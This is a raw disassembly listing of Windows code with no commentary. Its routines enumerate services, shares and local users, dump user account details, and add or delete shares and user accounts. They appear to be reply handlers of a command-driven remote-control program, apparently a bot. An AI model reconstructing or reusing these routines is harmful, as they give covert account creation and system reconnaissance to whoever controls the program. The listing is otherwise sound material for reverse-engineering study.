sub_418E66	proc near		; CODE XREF: sub_401AC7+44EEp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4C92F8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_418E9E:				; CODE XREF: sub_418E66+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4C92C4
		test	eax, eax
		jnz	short loc_418ED8
		nop
		call	near ptr 2680DCDh
		cmp	eax, 0EAh
		jnz	loc_418F8C


loc_418ED8:				; CODE XREF: sub_418E66+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418F83
		lea	esi, [ebp+var_188]


loc_418EE9:				; CODE XREF: sub_418E66+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F32
		dec	eax
		jz	short loc_418F2B
		dec	eax
		jz	short loc_418F24
		dec	eax
		jz	short loc_418F1D
		dec	eax
		jz	short loc_418F16
		dec	eax
		jz	short loc_418F0F
		dec	eax
		jz	short loc_418F08
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F08:				; CODE XREF: sub_418E66+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F0F:				; CODE XREF: sub_418E66+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F16:				; CODE XREF: sub_418E66+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F1D:				; CODE XREF: sub_418E66+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F24:				; CODE XREF: sub_418E66+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F2B:				; CODE XREF: sub_418E66+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F32:				; CODE XREF: sub_418E66+87j
		push	offset aStopped	; "    Stopped"


loc_418F37:				; CODE XREF: sub_418E66+A0j
					; sub_418E66+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C006
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418EE9


loc_418F83:				; CODE XREF: sub_418E66+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418E9E


loc_418F8C:				; CODE XREF: sub_418E66+6Cj
		push	[ebp+var_C]
		call	dword_4C91FC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418E66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FA3	proc near		; CODE XREF: sub_401AC7:loc_40606Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41903C
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418FCC
		dec	eax
		jnz	short loc_41901C
		push	edi
		push	0
		call	sub_419175
		pop	ecx
		pop	ecx
		jmp	short loc_419018
; ---------------------------------------------------------------------------


loc_418FCC:				; CODE XREF: sub_418FA3+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41900A
		push	24h
		push	edi
		call	sub_41C720
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41900A
		push	57h
		pop	eax


loc_418FE3:				; CODE XREF: sub_418FA3+77j
		push	eax
		call	sub_41994D
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4D8F7C
		push	off_438D40[eax*4]
		push	offset unk_4393EC
		push	esi
		call	sub_41C006
		add	esp, 18h
		jmp	short loc_41905C
; ---------------------------------------------------------------------------


loc_41900A:				; CODE XREF: sub_418FA3+2Dj
					; sub_418FA3+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_4190C9
		add	esp, 0Ch


loc_419018:				; CODE XREF: sub_418FA3+27j
		test	eax, eax
		jnz	short loc_418FE3


loc_41901C:				; CODE XREF: sub_418FA3+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4D8F7C
		push	off_438D44[eax*4]
		push	offset dword_4393D0
		push	esi
		call	sub_41C006
		add	esp, 10h
		jmp	short loc_41905C
; ---------------------------------------------------------------------------


loc_41903C:				; CODE XREF: sub_418FA3+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4D8F7C
		lea	eax, [eax+eax*2]
		push	off_438D40[eax*4]
		push	offset unk_4393AC
		push	esi
		call	sub_41C006
		add	esp, 0Ch


loc_41905C:				; CODE XREF: sub_418FA3+65j
					; sub_418FA3+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FA3	endp


; =============== S U B	R O U T	I N E =======================================



sub_419062	proc near		; CODE XREF: sub_41A367+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_41906F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41906F:				; CODE XREF: sub_419062+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427194
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4D917C, 1
		mov	ebp, eax
		jnz	short loc_4190AC
		or	byte_4D917C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D735
		pop	ecx
		mov	dword_4D8F1C, eax


loc_4190AC:				; CODE XREF: sub_419062+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4D8F1C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4D8F1C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_419062	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190C9	proc near		; CODE XREF: sub_418FA3+6Dp
					; sub_41A68B+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419134
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419134
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C720
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419134
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4C91F8
		pop	edi
		leave
		retn
sub_4190C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_419134	proc near		; CODE XREF: sub_4190C9+Ap
					; sub_4190C9+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419141
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419141:				; CODE XREF: sub_419134+9j
		push	ebx
		push	esi
		mov	esi, dword_4270F0
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D735
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419134	endp


; =============== S U B	R O U T	I N E =======================================



sub_419175	proc near		; CODE XREF: sub_418FA3+20p
					; sub_41A367+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419134
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419134
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4C91D0
		pop	esi
		retn
sub_419175	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419198	proc near		; CODE XREF: sub_401AC7+45D1p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419134
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 18h


loc_4191D1:				; CODE XREF: sub_419198+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4C9248
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419234
		cmp	ebx, 0EAh
		jz	short loc_419234
		push	ebx
		push	ebx
		call	sub_41994D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439438
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 24h
		jmp	short loc_4192A1
; ---------------------------------------------------------------------------


loc_419234:				; CODE XREF: sub_419198+5Dj
					; sub_419198+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_419298
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419242:				; CODE XREF: sub_419198+FCj
		push	dword ptr [esi+10h]
		call	dword_4C91EC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_419259
		mov	eax, offset aNo	; "No"


loc_419259:				; CODE XREF: sub_419198+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419242
		xor	esi, esi


loc_419298:				; CODE XREF: sub_419198+A2j
		push	[ebp+var_4]
		call	dword_4C9394


loc_4192A1:				; CODE XREF: sub_419198+9Aj
		cmp	ebx, 0EAh
		jz	loc_4191D1
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419198	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192B9	proc near		; CODE XREF: sub_401AC7:loc_40610Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_41935D
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_4192FB
		dec	eax
		jz	short loc_4192F0
		dec	eax
		jnz	short loc_419316
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_4193FF
		add	esp, 14h
		jmp	short loc_419312
; ---------------------------------------------------------------------------


loc_4192F0:				; CODE XREF: sub_4192B9+1Dj
		push	ebx
		push	edi
		call	sub_4193DE
		pop	ecx
		pop	ecx
		jmp	short loc_419312
; ---------------------------------------------------------------------------


loc_4192FB:				; CODE XREF: sub_4192B9+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_41930F
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_419384
		add	esp, 0Ch
		jmp	short loc_419312
; ---------------------------------------------------------------------------


loc_41930F:				; CODE XREF: sub_4192B9+45j
		push	57h
		pop	eax


loc_419312:				; CODE XREF: sub_4192B9+35j
					; sub_4192B9+40j ...
		cmp	eax, edi
		jnz	short loc_419336


loc_419316:				; CODE XREF: sub_4192B9+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4D9180
		push	off_438D44[eax*4]
		push	offset unk_4394F0
		push	esi
		call	sub_41C006
		add	esp, 10h
		jmp	short loc_41937D
; ---------------------------------------------------------------------------


loc_419336:				; CODE XREF: sub_4192B9+5Bj
		push	eax
		call	sub_41994D
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4D9180
		push	off_438D40[eax*4]
		push	offset unk_4394C0
		push	esi
		call	sub_41C006
		add	esp, 18h
		jmp	short loc_41937D
; ---------------------------------------------------------------------------


loc_41935D:				; CODE XREF: sub_4192B9+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4D9180
		lea	eax, [eax+eax*2]
		push	off_438D40[eax*4]
		push	offset unk_439498
		push	esi
		call	sub_41C006
		add	esp, 0Ch


loc_41937D:				; CODE XREF: sub_4192B9+7Bj
					; sub_4192B9+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419384	proc near		; CODE XREF: sub_4192B9+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419134
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419134
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419134
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4C91DC
		pop	edi
		leave
		retn
sub_419384	endp


; =============== S U B	R O U T	I N E =======================================



sub_4193DE	proc near		; CODE XREF: sub_4192B9+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419134
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419134
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4C91CC
		pop	esi
		retn
sub_4193DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193FF	proc near		; CODE XREF: sub_4192B9+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419134
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419134
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4C935C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41978C
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4197C7
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C006
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419518
		dec	eax
		jz	short loc_419511
		dec	eax
		jz	short loc_41950A
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41951D
; ---------------------------------------------------------------------------


loc_41950A:				; CODE XREF: sub_4193FF+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41951D
; ---------------------------------------------------------------------------


loc_419511:				; CODE XREF: sub_4193FF+FFj
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_41951D
; ---------------------------------------------------------------------------


loc_419518:				; CODE XREF: sub_4193FF+FCj
		mov	eax, offset aGuest ; "Guest"


loc_41951D:				; CODE XREF: sub_4193FF+109j
					; sub_4193FF+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409862
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4197B8
; ---------------------------------------------------------------------------


loc_41978C:				; CODE XREF: sub_4193FF+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439510
		push	eax
		call	sub_41C006
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409862
		add	esp, 20h


loc_4197B8:				; CODE XREF: sub_4193FF+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4197C7
		push	[ebp+var_4]
		call	dword_4C9394


loc_4197C7:				; CODE XREF: sub_4193FF+40j
					; sub_4193FF+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_4193FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4197CD	proc near		; CODE XREF: sub_401AC7+4673p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419134
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 18h


loc_41980C:				; CODE XREF: sub_4197CD+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4C9264
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41986D
		cmp	eax, 0EAh
		jz	short loc_41986D
		push	eax
		push	eax
		call	sub_41994D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439700
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 24h
		jmp	short loc_4198E8
; ---------------------------------------------------------------------------


loc_41986D:				; CODE XREF: sub_4197CD+62j
					; sub_4197CD+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_4198FB
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4198E8


loc_41987F:				; CODE XREF: sub_4197CD+EDj
		cmp	edi, esi
		jz	short loc_4198BE
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C006
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41987F
		jmp	short loc_4198E8
; ---------------------------------------------------------------------------


loc_4198BE:				; CODE XREF: sub_4197CD+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_4396CC
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 1Ch


loc_4198E8:				; CODE XREF: sub_4197CD+9Ej
					; sub_4197CD+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_4198FB
		push	edi
		call	dword_4C9394
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_4198FB:				; CODE XREF: sub_4197CD+A5j
					; sub_4197CD+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41980C
		cmp	edi, esi
		jz	short loc_419913
		push	edi
		call	dword_4C9394


loc_419913:				; CODE XREF: sub_4197CD+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4197CD	endp


; =============== S U B	R O U T	I N E =======================================



